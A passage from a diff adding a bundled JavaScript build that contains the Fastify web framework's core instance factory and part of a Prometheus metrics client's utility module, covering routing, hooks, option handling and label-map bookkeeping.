require_error_handler(); + var { FSTWRN004, FSTDEP023, FSTDEP024, FSTDEP025 } = require_warnings(); + var initChannel = diagnostics.channel("fastify.initialization"); + function fastify(serverOptions) { + const { + options, + genReqId, + logController, + hasLogger, + initialConfig + } = processOptions(serverOptions, defaultRoute, onBadUrl, onMaxParamLength); + const router = buildRouting(options.routerOptions); + const fourOhFour = build404(options); + const httpHandler = wrapRouting(router, options); + const { + server, + listen, + forceCloseConnections, + serverHasCloseAllConnections, + serverHasCloseHttp2Sessions, + keepAliveConnections + } = createServer(options, httpHandler); + const setupResponseListeners = Reply.setupResponseListeners; + const schemaController = SchemaController.buildSchemaController(null, options.schemaController); + const fastify2 = { + // Fastify internals + [kState]: { + listening: false, + closing: false, + started: false, + ready: false, + booting: false, + aborted: false, + readyResolver: null + }, + [kKeepAliveConnections]: keepAliveConnections, + [kSupportedHTTPMethods]: { + bodyless: /* @__PURE__ */ new Set([ + // Standard + "GET", + "HEAD", + "TRACE" + ]), + bodywith: /* @__PURE__ */ new Set([ + // Standard + "DELETE", + "OPTIONS", + "PATCH", + "PUT", + "POST", + // RFC 10008 + "QUERY" + ]) + }, + [kOptions]: options, + [kChildren]: [], + [kServerBindings]: [], + [kBodyLimit]: options.bodyLimit, + [kHandlerTimeout]: options.handlerTimeout, + [kRoutePrefix]: "", + [kLogLevel]: "", + [kLogSerializers]: null, + [kHooks]: new Hooks(), + [kSchemaController]: schemaController, + [kSchemaErrorFormatter]: null, + [kErrorHandler]: buildErrorHandler(), + [kErrorHandlerAlreadySet]: false, + [kChildLoggerFactory]: options.childLoggerFactory || defaultChildLoggerFactory, + [kReplySerializerDefault]: null, + [kContentTypeParser]: new ContentTypeParser( + options.bodyLimit, + options.onProtoPoisoning || defaultInitOptions.onProtoPoisoning, + options.onConstructorPoisoning || defaultInitOptions.onConstructorPoisoning + ), + [kReply]: Reply.buildReply(Reply), + [kRequest]: Request.buildRequest(Request, options.trustProxy), + [kFourOhFour]: fourOhFour, + [pluginUtils.kRegisteredPlugins]: [], + [kPluginNameChain]: ["fastify"], + [kAvvioBoot]: null, + [kGenReqId]: genReqId, + // routing method + routing: httpHandler, + // routes shorthand methods + delete: function _delete(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "DELETE", url: url2, options: options2, handler }); + }, + get: function _get(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "GET", url: url2, options: options2, handler }); + }, + head: function _head(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "HEAD", url: url2, options: options2, handler }); + }, + trace: function _trace(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "TRACE", url: url2, options: options2, handler }); + }, + patch: function _patch(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "PATCH", url: url2, options: options2, handler }); + }, + post: function _post(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "POST", url: url2, options: options2, handler }); + }, + put: function _put(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "PUT", url: url2, options: options2, handler }); + }, + options: function _options(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "OPTIONS", url: url2, options: options2, handler }); + }, + query: function _query(url2, options2, handler) { + return router.prepareRoute.call(this, { method: "QUERY", url: url2, options: options2, handler }); + }, + all: function _all(url2, options2, handler) { + return router.prepareRoute.call(this, { method: this.supportedMethods, url: url2, options: options2, handler }); + }, + // extended route + route: function _route(options2) { + return router.route.call(this, { options: options2 }); + }, + hasRoute: function _route(options2) { + return router.hasRoute.call(this, { options: options2 }); + }, + findRoute: function _findRoute(options2) { + return router.findRoute(options2); + }, + // expose logger instance + log: options.logger, + [kLogController]: logController, + // type provider + withTypeProvider, + // hooks + addHook, + // schemas + addSchema, + getSchema: schemaController.getSchema.bind(schemaController), + getSchemas: schemaController.getSchemas.bind(schemaController), + setValidatorCompiler, + setSerializerCompiler, + setSchemaController, + setReplySerializer, + setSchemaErrorFormatter, + // set generated request id + setGenReqId, + // custom parsers + addContentTypeParser: ContentTypeParser.helpers.addContentTypeParser, + hasContentTypeParser: ContentTypeParser.helpers.hasContentTypeParser, + getDefaultJsonParser: ContentTypeParser.defaultParsers.getDefaultJsonParser, + defaultTextParser: ContentTypeParser.defaultParsers.defaultTextParser, + removeContentTypeParser: ContentTypeParser.helpers.removeContentTypeParser, + removeAllContentTypeParsers: ContentTypeParser.helpers.removeAllContentTypeParsers, + // Fastify architecture methods (initialized by Avvio) + register: null, + after: null, + ready: null, + onClose: null, + close: null, + printPlugins: null, + hasPlugin: function(name) { + return this[pluginUtils.kRegisteredPlugins].includes(name) || this[kPluginNameChain].includes(name); + }, + // http server + listen, + server, + addresses: function() { + const binded = this[kServerBindings].map((b2) => b2.address()); + binded.push(this.server.address()); + return binded.filter((adr) => adr); + }, + // extend fastify objects + decorate: decorator.add, + hasDecorator: decorator.exist, + decorateReply: decorator.decorateReply, + decorateRequest: decorator.decorateRequest, + hasRequestDecorator: decorator.existRequest, + hasReplyDecorator: decorator.existReply, + getDecorator: decorator.getInstanceDecorator, + addHttpMethod, + // fake http injection + inject, + // pretty print of the registered routes + printRoutes, + // custom error handling + setNotFoundHandler, + setErrorHandler, + // child logger + setChildLoggerFactory, + // Set fastify initial configuration options read-only object + initialConfig, + // constraint strategies + addConstraintStrategy: router.addConstraintStrategy.bind(router), + hasConstraintStrategy: router.hasConstraintStrategy.bind(router) + }; + Object.defineProperties(fastify2, { + listeningOrigin: { + get() { + const address = this.addresses().slice(-1).pop(); + if (typeof address === "string") { + return address; + } + const host = address.family === "IPv6" ? `[${address.address}]` : address.address; + return `${this[kOptions].https ? "https" : "http"}://${host}:${address.port}`; + } + }, + pluginName: { + configurable: true, + get() { + if (this[kPluginNameChain].length > 1) { + return this[kPluginNameChain].join(" -> "); + } + return this[kPluginNameChain][0]; + } + }, + prefix: { + configurable: true, + get() { + return this[kRoutePrefix]; + } + }, + validatorCompiler: { + configurable: true, + get() { + return this[kSchemaController].getValidatorCompiler(); + } + }, + serializerCompiler: { + configurable: true, + get() { + return this[kSchemaController].getSerializerCompiler(); + } + }, + childLoggerFactory: { + configurable: true, + get() { + return this[kChildLoggerFactory]; + } + }, + version: { + configurable: true, + get() { + return VERSION2; + } + }, + errorHandler: { + configurable: true, + get() { + return this[kErrorHandler].func; + } + }, + genReqId: { + configurable: true, + get() { + return this[kGenReqId]; + } + }, + supportedMethods: { + configurable: false, + get() { + return [ + ...this[kSupportedHTTPMethods].bodyless, + ...this[kSupportedHTTPMethods].bodywith + ]; + } + } + }); + if (options.schemaErrorFormatter) { + validateSchemaErrorFormatter(options.schemaErrorFormatter); + fastify2[kSchemaErrorFormatter] = options.schemaErrorFormatter.bind(fastify2); + } + const avvioPluginTimeout = Number(options.pluginTimeout); + const avvio = Avvio(fastify2, { + autostart: false, + timeout: isNaN(avvioPluginTimeout) === false ? avvioPluginTimeout : defaultInitOptions.pluginTimeout, + expose: { + use: "register" + } + }); + avvio.override = override; + avvio.on("start", () => fastify2[kState].started = true); + fastify2[kAvvioBoot] = fastify2.ready; + fastify2.ready = ready; + fastify2.printPlugins = avvio.prettyPrint.bind(avvio); + avvio.once("preReady", () => { + fastify2.onClose((instance, done) => { + fastify2[kState].closing = true; + router.closeRoutes(); + hookRunnerApplication("preClose", fastify2[kAvvioBoot], fastify2, function() { + if (fastify2[kState].listening) { + if (forceCloseConnections === "idle" && options.serverFactory) { + instance.server.closeIdleConnections(); + } else if (serverHasCloseAllConnections && forceCloseConnections === true) { + instance.server.closeAllConnections(); + } else if (forceCloseConnections === true) { + for (const conn of fastify2[kKeepAliveConnections]) { + conn.destroy(); + fastify2[kKeepAliveConnections].delete(conn); + } + } + } + if (serverHasCloseHttp2Sessions) { + instance.server.closeHttp2Sessions(); + } + if (!options.serverFactory || fastify2[kState].listening) { + instance.server.close(function(err) { + if (err && err.code !== "ERR_SERVER_NOT_RUNNING") { + done(null); + } else { + done(); + } + }); + } else { + process.nextTick(done, null); + } + }); + }); + }); + const routeEventContext = new Context({ + server: fastify2, + config: {} + }); + fastify2.setNotFoundHandler(); + fourOhFour.arrange404(fastify2); + router.setup(options, { + avvio, + fourOhFour, + hasLogger, + setupResponseListeners, + throwIfAlreadyStarted, + keepAliveConnections + }); + server.on("clientError", options.clientErrorHandler.bind(fastify2)); + if (initChannel.hasSubscribers) { + initChannel.publish({ fastify: fastify2 }); + } + if ("asyncDispose" in Symbol) { + fastify2[Symbol.asyncDispose] = function dispose() { + return fastify2.close(); + }; + } + return fastify2; + function throwIfAlreadyStarted(msg) { + if (fastify2[kState].started) throw new FST_ERR_INSTANCE_ALREADY_LISTENING(msg); + } + function inject(opts, cb) { + if (lightMyRequest === void 0) { + lightMyRequest = require_light_my_request(); + } + if (fastify2[kState].started) { + if (fastify2[kState].closing) { + const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + if (cb) { + cb(error51); + return; + } else { + return Promise.reject(error51); + } + } + return lightMyRequest(httpHandler, opts, cb); + } + if (cb) { + this.ready((err) => { + if (err) cb(err, null); + else lightMyRequest(httpHandler, opts, cb); + }); + } else { + return lightMyRequest((req, res) => { + this.ready(function(err) { + if (err) { + res.emit("error", err); + return; + } + httpHandler(req, res); + }); + }, opts); + } + } + function ready(cb) { + if (this[kState].readyResolver !== null) { + if (cb != null) { + this[kState].readyResolver.promise.then(() => cb(null, fastify2), cb); + return; + } + return this[kState].readyResolver.promise; + } + process.nextTick(runHooks); + this[kState].readyResolver = PonyPromise.withResolvers(); + if (!cb) { + return this[kState].readyResolver.promise; + } else { + this[kState].readyResolver.promise.then(() => cb(null, fastify2), cb); + } + function runHooks() { + fastify2[kAvvioBoot]((err, done) => { + if (err || fastify2[kState].started || fastify2[kState].ready || fastify2[kState].booting) { + manageErr(err); + } else { + fastify2[kState].booting = true; + hookRunnerApplication("onReady", fastify2[kAvvioBoot], fastify2, manageErr); + } + done(); + }); + } + function manageErr(err) { + err = err != null && AVVIO_ERRORS_MAP[err.code] != null ? appendStackTrace(err, new AVVIO_ERRORS_MAP[err.code](err.message)) : err; + if (err) { + return fastify2[kState].readyResolver.reject(err); + } + fastify2[kState].readyResolver.resolve(fastify2); + fastify2[kState].booting = false; + fastify2[kState].ready = true; + fastify2[kState].readyResolver = null; + } + } + function withTypeProvider() { + return this; + } + function addHook(name, fn) { + throwIfAlreadyStarted('Cannot call "addHook"!'); + if (fn == null) { + throw new errorCodes.FST_ERR_HOOK_INVALID_HANDLER(name, fn); + } + if (name === "onSend" || name === "preSerialization" || name === "onError" || name === "preParsing") { + if (fn.constructor.name === "AsyncFunction" && fn.length === 4) { + throw new errorCodes.FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } else if (name === "onReady" || name === "onListen") { + if (fn.constructor.name === "AsyncFunction" && fn.length !== 0) { + throw new errorCodes.FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } else if (name === "onRequestAbort") { + if (fn.constructor.name === "AsyncFunction" && fn.length !== 1) { + throw new errorCodes.FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } else { + if (fn.constructor.name === "AsyncFunction" && fn.length === 3) { + throw new errorCodes.FST_ERR_HOOK_INVALID_ASYNC_HANDLER(); + } + } + if (name === "onClose") { + this.onClose(fn.bind(this)); + } else if (name === "onReady" || name === "onListen" || name === "onRoute" || name === "preClose") { + this[kHooks].add(name, fn); + } else { + this.after((err, done) => { + try { + _addHook.call(this, name, fn); + done(err); + } catch (err2) { + done(err2); + } + }); + } + return this; + function _addHook(name2, fn2) { + this[kHooks].add(name2, fn2); + this[kChildren].forEach((child) => _addHook.call(child, name2, fn2)); + } + } + function addSchema(schema) { + throwIfAlreadyStarted('Cannot call "addSchema"!'); + this[kSchemaController].add(schema); + this[kChildren].forEach((child) => child.addSchema(schema)); + return this; + } + function defaultRoute(req, res) { + if (req.headers["accept-version"] !== void 0) { + req.headers[kRequestAcceptVersion] = req.headers["accept-version"]; + req.headers["accept-version"] = void 0; + } + fourOhFour.router.lookup(req, res); + } + function onBadUrl(path, req, res) { + if (options.frameworkErrors) { + const id = getGenReqId(routeEventContext.server, req); + const childLogger = createChildLogger(routeEventContext, options.logger, req, id); + const request = new Request(id, null, req, null, childLogger, routeEventContext); + const reply = new Reply(res, request, childLogger); + routeEventContext.server[kLogController].incomingRequest(request, reply); + return options.frameworkErrors(new FST_ERR_BAD_URL(path), request, reply); + } + const body = JSON.stringify({ + error: "Bad Request", + code: "FST_ERR_BAD_URL", + message: `'${path}' is not a valid url component`, + statusCode: 400 + }); + res.writeHead(400, { + "Content-Type": "application/json", + "Content-Length": Buffer.byteLength(body) + }); + res.end(body); + } + function onMaxParamLength(path, req, res) { + if (options.frameworkErrors) { + const id = getGenReqId(routeEventContext.server, req); + const childLogger = createChildLogger(routeEventContext, options.logger, req, id); + const request = new Request(id, null, req, null, childLogger, routeEventContext); + const reply = new Reply(res, request, childLogger); + routeEventContext.server[kLogController].incomingRequest(request, reply); + return options.frameworkErrors(new FST_ERR_MAX_PARAM_LENGTH(path), request, reply); + } + const body = JSON.stringify({ + error: "Bad Request", + code: "FST_ERR_MAX_PARAM_LENGTH", + message: `'${path}' is exceeding the max param length`, + statusCode: 414 + }); + res.writeHead(414, { + "Content-Type": "application/json", + "Content-Length": Buffer.byteLength(body) + }); + res.end(body); + } + function buildAsyncConstraintCallback(isAsync, req, res) { + if (isAsync === false) return void 0; + return function onAsyncConstraintError(err) { + if (err) { + if (options.frameworkErrors) { + const id = getGenReqId(routeEventContext.server, req); + const childLogger = createChildLogger(routeEventContext, options.logger, req, id); + const request = new Request(id, null, req, null, childLogger, routeEventContext); + const reply = new Reply(res, request, childLogger); + routeEventContext.server[kLogController].incomingRequest(request, reply); + return options.frameworkErrors(new FST_ERR_ASYNC_CONSTRAINT(), request, reply); + } + const body = '{"error":"Internal Server Error","message":"Unexpected error from async constraint","statusCode":500}'; + res.writeHead(500, { + "Content-Type": "application/json", + "Content-Length": body.length + }); + res.end(body); + } + }; + } + function setNotFoundHandler(opts, handler) { + throwIfAlreadyStarted('Cannot call "setNotFoundHandler"!'); + fourOhFour.setNotFoundHandler.call(this, opts, handler, avvio, router.routeHandler); + return this; + } + function setValidatorCompiler(validatorCompiler) { + throwIfAlreadyStarted('Cannot call "setValidatorCompiler"!'); + this[kSchemaController].setValidatorCompiler(validatorCompiler); + return this; + } + function setSchemaErrorFormatter(errorFormatter) { + throwIfAlreadyStarted('Cannot call "setSchemaErrorFormatter"!'); + validateSchemaErrorFormatter(errorFormatter); + this[kSchemaErrorFormatter] = errorFormatter.bind(this); + return this; + } + function setSerializerCompiler(serializerCompiler) { + throwIfAlreadyStarted('Cannot call "setSerializerCompiler"!'); + this[kSchemaController].setSerializerCompiler(serializerCompiler); + return this; + } + function setSchemaController(schemaControllerOpts) { + throwIfAlreadyStarted('Cannot call "setSchemaController"!'); + const old = this[kSchemaController]; + const schemaController2 = SchemaController.buildSchemaController( + old, + Object.assign({}, old.opts, schemaControllerOpts) + ); + this[kSchemaController] = schemaController2; + this.getSchema = schemaController2.getSchema.bind(schemaController2); + this.getSchemas = schemaController2.getSchemas.bind(schemaController2); + return this; + } + function setReplySerializer(replySerializer) { + throwIfAlreadyStarted('Cannot call "setReplySerializer"!'); + this[kReplySerializerDefault] = replySerializer; + return this; + } + function setErrorHandler(func) { + throwIfAlreadyStarted('Cannot call "setErrorHandler"!'); + if (typeof func !== "function") { + throw new FST_ERR_ERROR_HANDLER_NOT_FN(); + } + if (!options.allowErrorHandlerOverride && this[kErrorHandlerAlreadySet]) { + throw new FST_ERR_ERROR_HANDLER_ALREADY_SET(); + } else if (this[kErrorHandlerAlreadySet]) { + FSTWRN004(); + } + this[kErrorHandlerAlreadySet] = true; + this[kErrorHandler] = buildErrorHandler(this[kErrorHandler], func.bind(this)); + return this; + } + function setChildLoggerFactory(factory) { + throwIfAlreadyStarted('Cannot call "setChildLoggerFactory"!'); + this[kChildLoggerFactory] = factory; + return this; + } + function printRoutes(opts = {}) { + opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; + return router.printRoutes(opts); + } + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { + let isAsync; + return function preRouting(req, res) { + if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); + if (rewriteUrl) { + req.originalUrl = req.url; + const url2 = rewriteUrl.call(fastify2, req); + if (typeof url2 === "string") { + req.url = url2; + } else { + const err = new FST_ERR_ROUTE_REWRITE_NOT_STR(req.url, typeof url2); + req.destroy(err); + } + } + router2.routing(req, res, buildAsyncConstraintCallback(isAsync, req, res)); + }; + } + function setGenReqId(func) { + throwIfAlreadyStarted('Cannot call "setGenReqId"!'); + this[kGenReqId] = reqIdGenFactory(this[kOptions].requestIdHeader, func); + return this; + } + function addHttpMethod(method, { hasBody = false, overrideExisting = false } = {}) { + if (typeof method !== "string" || http.METHODS.indexOf(method) === -1) { + throw new FST_ERR_ROUTE_METHOD_INVALID(); + } + const alreadyExists = this[kSupportedHTTPMethods].bodyless.has(method) || this[kSupportedHTTPMethods].bodywith.has(method); + if (alreadyExists && !overrideExisting) { + FSTDEP025(method); + } + if (hasBody === true) { + this[kSupportedHTTPMethods].bodywith.add(method); + this[kSupportedHTTPMethods].bodyless.delete(method); + } else { + this[kSupportedHTTPMethods].bodywith.delete(method); + this[kSupportedHTTPMethods].bodyless.add(method); + } + const _method = method.toLowerCase(); + if (!this.hasDecorator(_method)) { + this.decorate(_method, function(url2, options2, handler) { + return router.prepareRoute.call(this, { method, url: url2, options: options2, handler }); + }); + } + return this; + } + } + function processOptions(options, defaultRoute, onBadUrl, onMaxParamLength) { + if (options && typeof options !== "object") { + throw new FST_ERR_OPTIONS_NOT_OBJ(); + } else { + options = Object.assign({}, options); + } + if (options.querystringParser && typeof options.querystringParser !== "function" || options.routerOptions?.querystringParser && typeof options.routerOptions.querystringParser !== "function") { + throw new FST_ERR_QSP_NOT_FN(typeof (options.querystringParser ?? options.routerOptions.querystringParser)); + } + if (options.schemaController && options.schemaController.bucket && typeof options.schemaController.bucket !== "function") { + throw new FST_ERR_SCHEMA_CONTROLLER_BUCKET_OPT_NOT_FN(typeof options.schemaController.bucket); + } + validateBodyLimitOption(options.bodyLimit); + const requestIdHeader = typeof options.requestIdHeader === "string" && options.requestIdHeader.length !== 0 ? options.requestIdHeader.toLowerCase() : options.requestIdHeader === true && "request-id"; + const genReqId = reqIdGenFactory(requestIdHeader, options.genReqId); + if (options.requestIdLogLabel !== void 0) { + FSTDEP024(); + } + options.bodyLimit = options.bodyLimit || defaultInitOptions.bodyLimit; + if (options.disableRequestLogging !== void 0) { + FSTDEP023(); + } + const ajvOptions = Object.assign({ + customOptions: {}, + plugins: [] + }, options.ajv); + if (!ajvOptions.customOptions || Object.prototype.toString.call(ajvOptions.customOptions) !== "[object Object]") { + throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_OBJ(typeof ajvOptions.customOptions); + } + if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { + throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); + } + const { logger: logger2, hasLogger } = createLogger2(options); + const logController = createLogController(options); + options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; + options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; + options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; + options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; + options.logger = logger2; + options.requestIdHeader = requestIdHeader; + options.ajv = ajvOptions; + options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; + options.allowErrorHandlerOverride = options.allowErrorHandlerOverride ?? defaultInitOptions.allowErrorHandlerOverride; + const initialConfig = getSecuredInitialConfig(options); + options.exposeHeadRoutes = initialConfig.exposeHeadRoutes; + options.http2SessionTimeout = initialConfig.http2SessionTimeout; + options.routerOptions = buildRouterOptions(options, { + defaultRoute, + onBadUrl, + onMaxParamLength, + ignoreTrailingSlash: defaultInitOptions.ignoreTrailingSlash, + ignoreDuplicateSlashes: defaultInitOptions.ignoreDuplicateSlashes, + maxParamLength: defaultInitOptions.maxParamLength, + allowUnsafeRegex: defaultInitOptions.allowUnsafeRegex, + buildPrettyMeta: defaultBuildPrettyMeta, + useSemicolonDelimiter: defaultInitOptions.useSemicolonDelimiter + }); + return { + options, + genReqId, + logController, + hasLogger, + initialConfig + }; + } + function defaultBuildPrettyMeta(route) { + const cleanKeys = {}; + const allowedProps = ["errorHandler", "logLevel", "logSerializers"]; + allowedProps.concat(supportedHooks).forEach((k) => { + cleanKeys[k] = route.store[k]; + }); + return Object.assign({}, cleanKeys); + } + function defaultClientErrorHandler(err, socket) { + if (err.code === "ECONNRESET" || socket.destroyed) { + return; + } + let body, errorCode, errorStatus, errorLabel; + if (err.code === "ERR_HTTP_REQUEST_TIMEOUT") { + errorCode = "408"; + errorStatus = http.STATUS_CODES[errorCode]; + body = `{"error":"${errorStatus}","message":"Client Timeout","statusCode":408}`; + errorLabel = "timeout"; + } else if (err.code === "HPE_HEADER_OVERFLOW") { + errorCode = "431"; + errorStatus = http.STATUS_CODES[errorCode]; + body = `{"error":"${errorStatus}","message":"Exceeded maximum allowed HTTP header size","statusCode":431}`; + errorLabel = "header_overflow"; + } else { + errorCode = "400"; + errorStatus = http.STATUS_CODES[errorCode]; + body = `{"error":"${errorStatus}","message":"Client Error","statusCode":400}`; + errorLabel = "error"; + } + this.log.trace({ err }, `client ${errorLabel}`); + if (socket.writable) { + socket.write(`HTTP/1.1 ${errorCode} ${errorStatus}\r +Content-Length: ${body.length}\r +Content-Type: application/json\r +\r +${body}`); + } + socket.destroy(err); + } + function validateSchemaErrorFormatter(schemaErrorFormatter) { + if (typeof schemaErrorFormatter !== "function") { + throw new FST_ERR_SCHEMA_ERROR_FORMATTER_NOT_FN(typeof schemaErrorFormatter); + } else if (schemaErrorFormatter.constructor.name === "AsyncFunction") { + throw new FST_ERR_SCHEMA_ERROR_FORMATTER_NOT_FN("AsyncFunction"); + } + } + module.exports = fastify; + module.exports.errorCodes = errorCodes; + module.exports.LogController = LogController; + module.exports.fastify = fastify; + module.exports.default = fastify; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/util.js +var require_util3 = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/util.js"(exports, module) { + "use strict"; + var util = __require("util"); + exports.getValueAsString = function getValueString(value) { + if (Number.isFinite(value)) { + return `${value}`; + } + if (Number.isNaN(value)) { + return "Nan"; + } else if (value < 0) { + return "-Inf"; + } else { + return "+Inf"; + } + }; + exports.removeLabels = function removeLabels(hashMap, labels, sortedLabelNames) { + hashMap.delete(hashObject(labels, sortedLabelNames)); + }; + exports.setValue = function setValue(hashMap, value, labels) { + const hash2 = hashObject(labels); + hashMap.set(hash2, { + value: typeof value === "number" ? value : 0, + labels: labels || {} + }); + return hashMap; + }; + exports.setValueDelta = function setValueDelta(hashMap, deltaValue, labels, hash2 = "") { + const value = typeof deltaValue === "number" ? deltaValue : 0; + const entry = hashMap.get(hash2); + if (entry !== void 0) { + entry.value += value; + } else { + hashMap.set(hash2, { value, labels }); + } + return hashMap; + }; + exports.getLabels = function(labelNames, args) { + if (typeof args[0] === "object") { + return args[0]; + } + if (labelNames.length !== args.length) { + throw new Error( + `Invalid number of arguments (${args.length}): "${args.join( + ", " + )}" for label names (${labelNames.length}): "${labelNames.join(", ")}".` + ); + } + const acc = {}; + for (let i = 0; i < labelNames.length; i++) { + acc[labelNames[i]] = args[i]; + } + return acc; + }; + function fastHashObject(keys, labels) { + if (keys.length === 0) { + return ""; + } + let hash2 = ""; + for (let i = 0; i < keys.length; i++) { + const key = keys[i]; + const value = labels[key]; + if (value === void 0) continue; + hash2 += `${key}:${value},`; + } + return hash2; + } + function hashObject(labels, labelNames) { + if (labelNames) { + return fastHashObject(labelNames, labels); + } + const keys = Object.keys(labels); + if (keys.length > 1) { + keys.sort(); + } + return fastHashObject(keys, labels); + } + exports.hashObject = hashObject; + exports.isObject = function isObject3(obj) { + return obj !== null && typeof obj === "object"; + }; + function isEmpty(obj) { + for (const key in obj) { + return false; + } + return true; + } + exports.isEmpty = isEmpty; + exports.nowTimestamp = function nowTimestamp() { + return Date.now() / 1e3; + }; + exports.waitFor = async function waitFor(promise2, limit = 5e3) { + let resolve, reject; + const resultPromise = new Promise((res, rej) => { + resolve = res; + reject = rej; + }); + const timeout = setTimeout(() => { + reject(new Error("Timeout")); + }, limit); + try { + promise2.then(resolve, reject); + return await resultPromise; + } finally { + clearTimeout(timeout); + } + }; + var LabelMap = class { + /** @type {Set} */ + #labelNames; + /** @type {Map} */ + #map = /* @__PURE__ */ new Map(); + constructor(labelNames = []) { + this.#labelNames = new Set(labelNames.slice().sort()); + } + /** + * @function setValue + * @param {object} labels + * @param {*} value + * @returns {LabelMap} + */ + set(labels, value = 0) { + const key = this.keyFrom(labels); + const entry = this.#map.get(key); + if (entry !== void 0) { + entry.value = value; + } else { + this.#map.set(key, { value, labels }); + } + return this; + } + /** + * @function setDelta + * @param {object} labels + * @param {*} value + * @returns {LabelMap} + */ + setDelta(labels, value = 0) { + const key = this.keyFrom(labels); + const entry = this.#map.get(key); + if (entry !== void 0) { + entry.value += value; + } else { + this.#map.set(key, { value, labels }); + } + return this; + } + /** + * Get an entry from the store. + * @param labels + * @returns {*} + */ + get(labels) { + return this.#map.get(this.keyFrom(labels))?.value; + } + /** + * Returns a record or creates one if it does not exist + * + * If there is no record at the location of the key, the init() function is + * called to create an object to put there. This allows for nested structures. + * + * @param {object} labels labels for the new entry + * @param {[Function]} init function to generate an empty record + * @returns {*} the existing value or the result of init() + */ + getOrAdd(labels, init) { + const key = this.keyFrom(labels); + let entry = this.#map.get(key); + if (entry === void 0) { + entry = { value: init(), labels }; + this.#map.set(key, entry); + } + return entry.value; + } + /** + * Return the raw entry. + * Used internally by some Metrics. You should probably not call this directly. + * @protected + * @param labels {object} + * @returns {StatsEntry} + */ + entry(labels) { + return this.#map.get(this.keyFrom(labels)); + } + /** + * Support for additional fields on the storage record. + * @param labels {object} lookup key + * @param values {object} + * @returns {object} + */ + merge(labels, values2) { + const key = this.keyFrom(labels); + let entry = this.#map.get(key); + if (entry !== void 0) { + Object.assign(entry, values2, { labels }); + } else { + entry = { ...values2, labels }; + this.#map.set(key, entry); + } + return entry; + } + /** + * Clear all records. + */ + clear() { + this.#map.clear(); + } + /** + * Size of the collection. + * @returns {number} + */ + get size() { + return this.#map.size; + } + /** + * Remove entries for a label. + * @function remove + * @param {object} labels + */ + remove(labels) { + this.#map.delete(this.keyFrom(labels)); + } + /** + * Determine if the given labels are all legal. + * @param labels {object=} + * @returns {boolean} + */ + validate(labels) { + if (labels !== void 0) { + for (const name in labels) { + if (!this.#labelNames.has(name)) { + throw new Error( + `Added label "${name}" is not included in initial labelset: ${util.inspect(Array.from(this.#labelNames))}` + ); + } + } + } + return true; + } + /** + * Return all of the entries in this collection. + * @returns {Iterator} + */ + values() { + return this.#map.values(); + } + /** + * Generate a sparse key for this Map. + * @protected + * @param labels {object} + * @returns {string} + */ + keyFrom(labels = {}) { + if (isEmpty(labels)) { + return ""; + } + let key = ""; + for (const labelName of this.#labelNames) { + key = key.concat(labels[labelName] ?? "", "|"); + } + return key; + } + }; + exports.LabelMap = LabelMap; + var Grouper = class extends Map { + /** + * Adds the `value` to the `key`'s array of values. + * @param {*} key Key to set. + * @param {*} value Value to add to `key`'s array. + * @returns {undefined} undefined. + */ + add(key, value) { + const entry = this.get(key); + if (entry !== void 0) { + entry.push(value); + } else { + this.set(key, [value]); + } + } + }; + exports.Grouper = Grouper; + var GROWTH_RATE = 1.25; + var LabelGrouper = class { + /** @type {string[]} */ + #labelNames = new Array(6).fill(""); + /** @type {Map>} */ + #map = /* @__PURE__ */ new Map(); + /** + * Current number of columns + * @type {number} + */ + #count = 0; + /** + * Create a grouper. + */ + constructor() { + } + /** + * Adds the `value` to the `key`'s array of values. + * @param {StatsEntry} value Value to add to `key`'s array. + * @returns {LabelGrouper} undefined. + */ + add(value) { + const labels = value.labels; + const key = this.keyFrom(labels); + const entry = this.#map.get(key); + if (entry !== void 0) { + entry.push(value); + } else { + this.#map.set(key, [value]); + } + return this; + } + /** + * Look up an entry by labels. + * Note: This can end up modifying the store if labels are missing. + * @param {object} labels Key to retrieve. + * @returns {Array} undefined. + */ + get(labels) { + return this.#map.get(this.keyFrom(labels)); + } + /** + * Return all of the entries in this collection. + * @returns {Array} + */ + values() { + return Array.from(this.#map.values()).filter((entry) => entry.length > 0); + } + /** + * Loop over the entries. + * @param fn {Function} + */ + forEach(fn) { + return this.#map.forEach(fn); + } + /** + * Remove all values from the Grouper. + * Leaves the entries, but zeroes out the value arrays. + * @returns {LabelGrouper} + */ + clear() { + for (const entry of this.#map.values()) { + entry.length = 0; + } + return this; + } + /** + * Create a key for the given labels. + * Note: This can end up modifying the store if labels are missing. + * @param labels + * @returns {string} + */ + keyFrom(labels = {}) { + const keys = Object.keys(labels); + if (keys.length === 0) { + return ""; + } + const arr = new Array(this.#labelNames.length); + let count = 0; + for (let i = 0; i < this.#count; i++) { + const name = this.#labelNames[i]; + const value = labels[name]; + if (value !== void 0) { + arr[i] = value; + count++; + } + } + if (count < keys.length) { + let pos = this.#count; + const missing = this.#expandLabels(labels); + for (const name of missing) { + arr[pos++] = labels[name]; + } + } + return arr.join("|"); + } + /** + * Size of the collection. + * @returns {number} + */ + get size() { + return this.#map.size; + } + /** + * Search the labels for missing values and expand the lookup table to handle them. + * @param 